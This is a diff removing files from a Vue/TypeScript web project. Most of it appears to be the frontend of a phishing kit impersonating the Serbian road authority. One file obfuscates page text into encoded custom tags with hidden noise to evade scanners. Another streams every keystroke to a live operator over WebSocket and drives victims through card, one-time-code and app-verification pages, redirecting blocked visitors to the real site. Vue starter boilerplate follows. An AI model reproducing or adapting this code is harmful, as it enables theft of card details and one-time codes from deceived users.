// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.putevi-srbije.rs/";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
